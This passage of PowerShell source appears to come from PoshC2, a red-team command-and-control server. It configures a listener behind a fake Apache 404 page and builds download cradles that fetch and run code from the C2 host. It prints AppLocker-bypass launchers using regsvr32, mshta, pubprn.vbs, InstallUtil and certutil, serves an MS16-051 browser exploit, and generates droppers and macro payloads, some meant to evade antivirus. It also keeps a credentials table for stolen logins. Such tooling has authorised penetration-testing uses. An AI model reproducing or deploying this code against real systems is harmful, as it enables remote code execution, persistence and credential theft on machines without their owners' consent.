$killdate = [datetime]::ParseExact($killdate,"dd/MM/yyyy",$null)
$killdatefm = Get-Date -Date $killdate -Format "dd/MM/yyyy"
$prompt = Read-Host -Prompt "[8] Enter the HTTP port you want to use, 80/443 is highly preferable for proxying [$($defaultserverport)]"
$serverport = ($defaultserverport,$prompt)[[bool]$prompt]
$enablesound = "Yes"
$prompt = Read-Host -Prompt "[9] Do you want to enable sound? [$($enablesound)]"
$enablesound = ($enablesound,$prompt)[[bool]$prompt]
$enablesms = "No"
$prompt = Read-Host -Prompt "[10] Do you want to use Clockwork SMS for new payloads? [$($enablesms)]"
$enablesms = ($enablesms,$prompt)[[bool]$prompt]
if ($enablesms -eq "Yes") {
$apikey = Read-Host -Prompt "[10a] Enter Clockwork SMS API Key?"
$MobileNumber = Read-Host -Prompt "[10b] Enter Mobile Number to send to? [447898....]"
}
$enablepayloads = "Yes"
$prompt = Read-Host -Prompt "[11] Do you want all payloads or select limited payloads that shouldnt be caught by AV? [$($enablepayloads)]"
$enablepayloads = ($enablepayloads,$prompt)[[bool]$prompt]
$downloadStub = $urlstring -split ","
$downloadStubURL = $downloadStub[1] -replace '"',''
$newImplant = $urlstring -split ","
$newImplantURL = $newImplant[0] -replace '"',''
$downloaduri = Get-RandomURI -Length 5
if ($ipv4address.Contains("https")) {
$shortcut = "powershell -exec bypass -c "+'"'+"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};IEX (new-object system.net.webclient).downloadstring('$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)')"+'"'+""
} else {
$shortcut = "powershell -exec bypass -c "+'"'+"IEX (new-object system.net.webclient).downloadstring('$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)')"+'"'+""
}
$httpresponse = '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache (Debian) Server</address>
</body></html>
'
$EncKey = Create-AesKey
New-Item $global:newdir -Type directory | Out-Null
New-Item $global:newdir\downloads -Type directory | Out-Null
New-Item $global:newdir\reports -Type directory | Out-Null
New-Item $global:newdir\payloads -Type directory | Out-Null
$Database = "$global:newdir\PowershellC2.SQLite"
$Query = 'CREATE TABLE Implants (
ImplantID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
RandomURI VARCHAR(20),
User TEXT,
Hostname TEXT,
IpAddress TEXT,
Key TEXT,
FirstSeen TEXT,
LastSeen TEXT,
PID TEXT,
Proxy TEXT,
Arch TEXT,
Domain TEXT,
Alive TEXT,
Sleep TEXT,
ModsLoaded TEXT,
Pivot TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE AutoRuns (
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
Task TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE CompletedTasks (
CompletedTaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
TaskID TEXT,
RandomURI TEXT,
Command TEXT,
Output TEXT,
Prompt TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE NewTasks (
TaskID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
RandomURI TEXT,
Command TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE Creds (
credsID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
Username TEXT,
Password TEXT,
Hash TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE C2Server (
ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
HostnameIP TEXT,
EncKey TEXT,
DomainFrontHeader TEXT,
DefaultSleep TEXT,
KillDate TEXT,
HTTPResponse TEXT,
FolderPath TEXT,
ServerPort TEXT,
QuickCommand TEXT,
DownloadURI TEXT,
ProxyURL TEXT,
ProxyUser TEXT,
ProxyPass TEXT,
Sounds TEXT,
APIKEY TEXT,
MobileNumber TEXT,
URLS TEXT,
SocksURLS TEXT,
Insecure TEXT,
UserAgent TEXT,
Referer TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'CREATE TABLE History (
ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL UNIQUE,
Command TEXT)'
Invoke-SqliteQuery -Query $Query -DataSource $Database | Out-Null
$Query = 'INSERT INTO C2Server (DefaultSleep, KillDate, HostnameIP, EncKey, DomainFrontHeader, HTTPResponse, FolderPath, ServerPort, QuickCommand, DownloadURI, Sounds, APIKEY, MobileNumber, URLS, SocksURLS, Insecure, UserAgent, Referer)
VALUES (@DefaultSleep, @KillDate, @HostnameIP, @EncKey, @DomainFrontHeader, @HTTPResponse, @FolderPath, @ServerPort, @QuickCommand, @DownloadURI, @Sounds, @APIKEY, @MobileNumber, @URLS, @SocksURLS, @Insecure, @UserAgent, @Referer)'
Invoke-SqliteQuery -DataSource $Database -Query $Query -SqlParameters @{
DefaultSleep = $defaultbeacon
KillDate = $killdatefm
HostnameIP = $ipv4address
EncKey = $EncKey
DomainFrontHeader = $domainfrontheader
HTTPResponse = $httpresponse
FolderPath = $global:newdir
ServerPort = $serverport
QuickCommand = $shortcut
DownloadURI = $downloaduri
Sounds = $enablesound
APIKEY = $apikey
MobileNumber = $MobileNumber
URLS = $urlstring
SocksURLS = $socksurlstring
Insecure = $Insecure
UserAgent = $useragent
Referer = $Referer
} | Out-Null
$Host.ui.RawUI.WindowTitle = "PoshC2 Server: $ipv4address Port $serverport"
Write-Host `n"PoshC2 Unique Encryption Key: $EncKey"
Write-Host `n"Apache rewrite rules written to: $global:newdir\apache.conf" -ForegroundColor Green
Out-File -InputObject $apache -Encoding ascii -FilePath "$global:newdir\apache.conf"
Write-Host `n"Listening on: $ipv4address Port $serverport (HTTP) | Kill Date $killdatefm"`n -ForegroundColor Green
Write-Host "To quickly get setup for internal pentesting, run:"
write-host $shortcut `n -ForegroundColor green
write-Host "For a more stealthy approach, use SubTee's hidden gems, NOTE: These do not work with untrusted SSL certificates if using over HTTPS:"
write-host "regsvr32 /s /n /u /i:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_rg scrobj.dll" -ForegroundColor green
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_cs`"" -ForegroundColor green
write-host "mshta.exe vbscript:GetObject(`"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_cs`")(window.close)" -ForegroundColor green
write-host ""
write-Host "Or use Forshaw's DotNetToJS to obtain execution, NOTE: This does not work with untrusted SSL certificates if using over HTTPS:"
write-host "mshta.exe vbscript:GetObject(`"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_js`")(window.close)" -ForegroundColor green
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_js`"" -ForegroundColor green
write-host ""
write-Host "To Bypass AppLocker or equivalent, use InstallUtil.exe or Regasm:"
write-host "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U $global:newdir\payloads\posh.exe" -ForegroundColor green
write-host "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U $global:newdir\payloads\posh.exe" -ForegroundColor green
write-host ""
write-Host "To exploit MS16-051 via IE9-11 use the following URL:"
write-host "$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_ms16-051" -ForegroundColor green
write-host ""
write-Host "To download PoshC2 InstallUtil/General executable use the following URL:"
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_df`"" -ForegroundColor green
write-host "certutil -urlcache -split -f $($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_iu %temp%\\$($downloaduri)_iu" -ForegroundColor green
write-host ""
# call back command
Write-Host -Object "For " -NoNewline
Write-Host -Object "Red Teaming " -NoNewline -ForegroundColor Red
Write-Host -Object "activities, use the following payloads:"
Import-Module $PoshPath\C2-Payloads.ps1
if ($Insecure -eq "YES") {
$command = createdropper -enckey $enckey -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $ipv4address -serverport $serverport -useragent $useragent -Insecure -Referer $Referer
} else {
$command = createdropper -enckey $enckey -killdate $killdatefm -domainfrontheader $DomainFrontHeader -ipv4address $ipv4address -serverport $serverport -useragent $useragent -Referer $Referer
}
$payload = createrawpayload -command $command
if ($enablepayloads -eq "Yes") {
# create all payloads
CreatePayload
CreateStandAloneExe
CreateHTAPayload
CreateMacroPayload
Create-MS16-051-Payload
CreateLink
CreateServiceExe
CreateJavaPayload
createdll
poshjs
rg_sct
cs_sct
df_sct
} else {
# create limited payloads
CreatePayload
CreateStandAloneExe
CreateServiceExe
rg_sct
cs_sct
df_sct
}
#launch a new powershell session with the implant handler running
Start-Process -FilePath powershell.exe -ArgumentList " -NoP -Command import-module $PoshPath\Implant-Handler.ps1; Implant-Handler -FolderPath '$global:newdir' -PoshPath '$PoshPath'"
Write-Host `n"To re-open the Implant-Handler or C2Server, use the following shortcuts in this directory: "
Write-Host "$global:newdir" `n -ForegroundColor Green
$SourceExe = "powershell.exe"
$ArgumentsToSourceExe = "-exec bypass -c import-module ${PoshPath}C2-Server.ps1;C2-Server -RestartC2Server '$global:newdir' -PoshPath '$PoshPath'"
$DestinationPath = "$global:newdir\Restart-C2Server.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($DestinationPath)
$Shortcut.TargetPath = $SourceExe
$Shortcut.Arguments = $ArgumentsToSourceExe
$Shortcut.Save()
# add run as administrator
$bytes = [System.IO.File]::ReadAllBytes("$global:newdir\Restart-C2Server.lnk")
$bytes[0x15] = $bytes[0x15] -bor 0x20
[System.IO.File]::WriteAllBytes("$global:newdir\Restart-C2Server.lnk", $bytes)
$SourceExe = "powershell.exe"
$ArgumentsToSourceExe = "-exec bypass -c import-module ${PoshPath}Implant-Handler.ps1; Implant-Handler -FolderPath '$global:newdir' -PoshPath '$PoshPath'"
$DestinationPath = "$global:newdir\Restart-Implant-Handler.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($DestinationPath)
$Shortcut.TargetPath = $SourceExe
$Shortcut.Arguments = $ArgumentsToSourceExe
$Shortcut.Save()
# add run as administrator
$bytes = [System.IO.File]::ReadAllBytes("$global:newdir\Restart-Implant-Handler.lnk")
$bytes[0x15] = $bytes[0x15] -bor 0x20
[System.IO.File]::WriteAllBytes("$global:newdir\Restart-Implant-Handler.lnk", $bytes)
}
# add as many images to the images directory as long as the images are less than 1500 bytes in size
$imageArray = @()
$imageFilesUsed = @()
$imageFiles = Get-ChildItem "$PoshPath\Images" | select FullName
$count = 0
while ($count -lt 5) {
$randomImage = $imageFiles | Get-Random
$randomImage = $randomImage.FullName
if (-not ($imageFilesUsed -contains $randomImage)){
$imageBytes = Get-Content $randomImage -Encoding Byte
if ($imageBytes.Length -lt 1495) {
$imageFilesUsed += $randomImage
$imageBytes = Get-Content $randomImage -Encoding Byte
$imageArray += [Convert]::ToBase64String($imageBytes)
$count = $count + 1
}
}
}
# C2 server component
$listener = New-Object -TypeName System.Net.HttpListener
if ($ipv4address.Contains("https")) {
$listener.Prefixes.Add("https://+:$serverport/")
} else {
$listener.Prefixes.Add("http://+:$serverport/")
}
$readhost = 'PS >'
$listener.Start()
# while the HTTP server is listening do the grunt of the work
while ($listener.IsListening)
{
$message = $null
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$downloadStub = $urlstring -split ","
$downloadStubURL = $downloadStub[1] -replace '"',''
$newImplant = $urlstring -split ","
$newImplantURL = $newImplant[0] -replace '"',''
if ($request.Url -match "$($downloadStubURL)$($downloaduri)$")
{
$message = $payload
}
if ($request.Url -match "$($downloadStubURL)$($downloaduri)_ms16-051$")
{
if ([System.IO.File]::Exists("$global:newdir/payloads/ms16-051.html")){
$message = Get-Content -Path $global:newdir/payloads/ms16-051.html
}else {
$message = $httpresponse
}
}
if ($request.Url -match "$($downloadStubURL)$($downloaduri)_rg$")
{
if ([System.IO.File]::Exists("$global:newdir/payloads/rg_sct.xml")){
$message = [IO.File]::ReadAllText("$global:newdir/payloads/rg_sct.xml")
}else {
$message = $httpresponse
}
}
if ($request.Url -match "$($downloadStubURL)$($downloaduri)_cs$")
{
if ([System.IO.File]::Exists("$global:newdir/payloads/cs_sct.xml")){
$message = [IO.File]::ReadAllText("$global:newdir/payloads/cs_sct.xml")
}else {
$message = $httpresponse
}
}